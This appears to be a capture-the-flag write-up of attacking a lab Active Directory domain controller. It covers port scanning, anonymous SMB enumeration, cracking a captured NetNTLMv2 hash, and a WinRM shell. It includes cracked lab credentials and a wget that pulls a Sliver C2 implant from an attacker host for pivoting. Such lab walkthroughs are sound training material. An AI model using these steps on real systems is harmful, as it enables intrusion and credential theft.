

ShareThePain(AD)

Objective: You're a **penetration tester** on the **Hack Smarter Red Team**. Your mission is to infiltrate and seize control of the client's entire Active Directory environment. This isn't just a test; it's a full-scale assault to expose and exploit every vulnerability.

Initial Access: For this engagement, you've been granted direct access to the internal network but no credentials.

Execution: Your objective is simple but demanding: **enumerate, exploit, and own**. Your ultimate goal is not just to get in, but to achieve a **full compromise**, elevating your privileges until you hold the keys to the entire domain.

Enumeration:

[illegible]

```

[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, o
Open 10.1.72.209:53
Open 10.1.72.209:88
Open 10.1.72.209:135
Open 10.1.72.209:139
Open 10.1.72.209:389
Open 10.1.72.209:445
Open 10.1.72.209:464
Open 10.1.72.209:593
Open 10.1.72.209:636
Open 10.1.72.209:3269
Open 10.1.72.209:3268
Open 10.1.72.209:3389
Open 10.1.72.209:5985
Open 10.1.72.209:9389
Open 10.1.72.209:47001
Open 10.1.72.209:49665
Open 10.1.72.209:49668
Open 10.1.72.209:49671
Open 10.1.72.209:49664
Open 10.1.72.209:49666
Open 10.1.72.209:49672
Open 10.1.72.209:49676
Open 10.1.72.209:49678
Open 10.1.72.209:49677
Open 10.1.72.209:49708
Open 10.1.72.209:49715
Open 10.1.72.209:49864
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 10.1.72.209
Depending on the complexity of the script, results may take some time to appear.

```

Scanned at 2025-10-04 15:11:13 IST for 111s

PORT	STATE	SERVICE	REASON	VERSION
53/tcp	open	domain	syn-ack ttl 126	Simple DNS Plus
88/tcp	open	kerberos-sec	syn-ack ttl 126	Microsoft Windows Kerberos (server time: 2025-10-04 09:41:24Z)
135/tcp	open	msrpc	syn-ack ttl 126	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 126	Microsoft Windows netbios-ssn
389/tcp	open	ldap	syn-ack ttl 126	Microsoft Windows Active Directory LDAP (Domain: hack.smarter, Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds?	syn-ack ttl 126	
464/tcp	open	kpasswd5?	syn-ack ttl 126	
593/tcp	open	ncacn_http	syn-ack ttl 126	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	syn-ack ttl 126	
3268/tcp	open	ldap	syn-ack ttl 126	Microsoft Windows Active Directory LDAP (Domain: hack.smarter, Site: Default-First-Site-Name)
3269/tcp	open	tcpwrapped	syn-ack ttl 126	
3389/tcp	open	ms-wbt-server	syn-ack ttl 126	Microsoft Terminal Services

```

| ssl-cert: Subject: commonName=DC01.hack.smarter
| Issuer: commonName=DC01.hack.smarter
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-05T03:46:00
| Not valid after: 2026-03-07T03:46:00
| MD5: 4b40:6c01:63f1:81e4:4f56:64b7:8ef3:4bbc
| SHA-1: 2ad1:c7dc:ab46:ae72:570a:ea85:2192:51cf:1707:3692
| -----BEGIN CERTIFICATE-----
| MIIC5jCCAc6gAwIBAgIQL7/TDfsBKaJEuIxxvqLtNeDANBgkqhkiG9w0BAQsFADAc

```

```

|  -----BEGIN CERTIFICATE-----
|  MIIC5jCCAc6gAwIBAgIQL7/TDfsBKaJEuIxvqLtNeDANBgkqhkiG9w0BAQsFADAc
|  MRowGAYDVQQDExFEQzAxLmhhy2suc21hcnRlcjAeFw0yNTA5MDUwMzQ2MDBaFw0y
|  NjAzMDcwMzQ2MDBaMBwxGjAYBgNVBAMTEURDMDEuaGFjay5zbWFydGVyMIIBIjAN
|  BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz97jkoYVUqCfcPuR2gCVRNgSK+
|  MB7v2Nxa64USo34Z80zT758ox5d7FFrmZSm3A0bvUNTvYjw4qAekjAYNCSCZ01JI
|  GVDjieeej7jRyApmXOCnV82Pp0pDZuc/v8hg1X1JNeXLI4vgi4cVXIqk2Cg6ljap
|  DRcm2JARZ8gNFvn/VbDTBpipp2nFIEntCM0wwslxI4SGbx8+GisHq0wt0tbelpuL
|  JQ+uQPoddL45Fz7uQ/Pp/5nnqmtR/6yAR2jFir3v5/hZ7zycPCTLAocRth6azFW2
|  UTke69SByvN+BJdgP2QbyXWcJHwX0GatenQCzht4ZCq002CsX9+7+lPKbQIDAQAB
|  oyQwIjATBgNVHUEDDAKBggrBgEFBQcDATALEBGNVHQ8EBAMCBDAwDQYJKoZIhvcN
|  AQELBQADggEBAAVQZiet+fvKcDwhSGcITFyO7RHjL51Q0aauiOSdlow50XVGZ8vW
|  pt0hb5GwWmGf08abmKZ08mqK/SkaNU6pA7zwvBHvUqWf2bMKyWKMBLOB0VIQaxT
|  ZfV0LL8KR3oCs1fuC60rXDF8JIEne9vgL5z+dmgxXd6SZJf1//ZPjmUf7ai3ohtg
|  MRq87WZuf2P7m2rZaPcIcyMDM0Zt5MSGr+bD9V2AboDrKh6TYrz40DkNPubeGyT/
|  q57XLN2ERF60YCYAGpLdCDxHmAqHihKbxtnC4vwhUCaXnDUSD2v+9WYbrFmWMNL
|  UCJT2ircDq6fnW409KJJhg5uds1gzhQct3Y=
|  -----END CERTIFICATE-----
|  rdp-ntlm-info:
|  Target_Name: HACK
|  NetBIOS_Domain_Name: HACK
|  NetBIOS_Computer_Name: DC01
|  DNS_Domain_Name: hack.smarter
|  DNS_Computer_Name: DC01.hack.smarter
|  DNS_Tree_Name: hack.smarter
|  Product_Version: 10.0.20348
|  System_Time: 2025-10-04T09:42:41+00:00
|  _ssl-date: 2025-10-04T09:42:51+00:00; 0s from scanner time.
5985/tcp open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf          syn-ack ttl 126 .NET Message Framing
47001/tcp open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

```

SMB(135,139,445):

- We can also use netexec.
- Anonymous read is enabled

```

(karthik@vbox)-[~/HackSmarter/Sharethepain]
$ smbclient -L \\.\hack.smarter\
Password for [WORKGROUP\karthik]:

  Sharename      Type            Comment
  -----
  ADMIN$         Disk            Remote Admin
  C$              Disk            Default share
  IPC$           IPC             Remote IPC
  NETLOGON       Disk            Logon server share
  Share          Disk
  SYSVOL         Disk            Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to hack.smarter failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

```

→ Yes, we can connect to the share.

→ Now the question is, can we write to the shares?

→ Getting a user's hash

[illegible]

[illegible]

```

└─(karthik@vbox)~[~/HackSmarter/Sheethapain]
└─$ hashcat happy_accidents.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-haswell-AMD Ryzen 7 5700U with Radeon Graphics, 1062/2188 MB (512 MB allocatable), 5MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

```

[illegible]

→ Netexec is a tool for bunch of internal AD pentesting and it's a quick way to validate our credentials.

Pwning Bob ross:

```
(root@vhox) ~/impacket/examples
# nxc smb hack.smarter -u 'bob.ross' -p '137Password123!@#' --shares
SMB      10.1.72.209    445   DC01      [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hack.smarter) (signing=True) (SMBv1=False)
SMB      10.1.72.209    445   DC01      [+] hack.smarter\bob.ross:137Password123!@#
SMB      10.1.72.209    445   DC01      [*] Enumerated shares
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
SMB      10.1.72.209    445   DC01
```

	Share	Permissions	Remark
	ADMIN\$		Remote Admin
	C\$		Default share
	IPC\$	READ	Remote IPC
	NETLOGON	READ	Login server share
	Share	READ,WRITE	
	SYSVOL	READ	Login server share

```
(root@vhox) ~/impacket/examples
```



```
*Evl-WinRM* PS C:\Users\alice.wonderland\.ssh> cd ..
*Evl-WinRM* PS C:\Users\alice.wonderland> cd C:/
*Evl-WinRM* PS C:\> dir -force
```

Directory: C:\

Mode	LastWriteTime	Length	Name
d--hs-	9/2/2025 7:33 PM		\$Recycle.Bin
d--hsl	9/2/2025 5:08 PM		Documents and Settings
d-----	5/8/2021 1:20 AM		PerfLogs
d-r---	9/5/2025 8:34 PM		Program Files
d-----	9/3/2025 2:06 PM		Program Files (x86)
d--h--	9/5/2025 8:44 PM		ProgramData
d--hs-	9/2/2025 5:08 PM		Recovery
d-----	10/4/2025 8:19 AM		Share
d-----	9/3/2025 2:06 PM		SQL2019
d--hs-	9/2/2025 6:31 PM		System Volume Information
d-----	9/3/2025 2:01 PM		Temp
d-r---	9/3/2025 2:54 PM		Users
d-----	9/5/2025 8:46 PM		Windows
-a-hs-	10/4/2025 7:14 AM	12288	DumpStack.log.tmp
-a-hs-	10/4/2025 7:14 AM	738197504	pagefile.sys

→SQL2019 is running on the machine but the port is wasn't accessible from the outside.

→ Then try netstat -ano

→ It looks like MSSQL is listening locally(but not externally)

TCP	0.0.0.0:49679	0.0.0.0:0	LISTENING	2912
TCP	0.0.0.0:49702	0.0.0.0:0	LISTENING	644
TCP	0.0.0.0:49716	0.0.0.0:0	LISTENING	3352
TCP	0.0.0.0:49859	0.0.0.0:0	LISTENING	3392
TCP	10.1.72.209:53	0.0.0.0:0	LISTENING	3352
TCP	10.1.72.209:139	0.0.0.0:0	LISTENING	4
TCP	10.1.72.209:5985	10.0.0.247:55704	TIME_WAIT	0
TCP	10.1.72.209:5985	10.0.0.247:55712	ESTABLISHED	4
TCP	127.0.0.1:53	0.0.0.0:0	LISTENING	3352
TCP	127.0.0.1:1433	0.0.0.0:0	LISTENING	4424
TCP	127.0.0.1:56517	0.0.0.0:0	LISTENING	4424
TCP	[::]:88	[::]:0	LISTENING	664
TCP	[::]:135	[::]:0	LISTENING	912

Q) How can we expose this port so that our machine can connect to it?

→ There are multiple ways to do this , this is one way with sliver c2.

→ From sliver generate pivot.exe and forward it to alice.wonderland

```
*Evil-WinRM* PS C:\Users\alice.wonderland\Desktop> wget http://10.200.8.85:8080/pivot.exe
The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ wget http://10.200.8.85:8080/pivot.exe
+ ~~~~~
+ CategoryInfo          : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
*Evil-WinRM* PS C:\Users\alice.wonderland\Desktop> wget http://10.200.8.85:8080/pivot.exe -o pivot.exe
*Evil-WinRM* PS C:\Users\alice.wonderland\Desktop> dir

Directory: C:\Users\alice.wonderland\Desktop

Mode                LastWriteTime         Length Name
----                -
-a-----         10/4/2025   8:58 AM       15824384 pivot.exe
-a-----          9/3/2025   2:07 PM           54 user.txt
```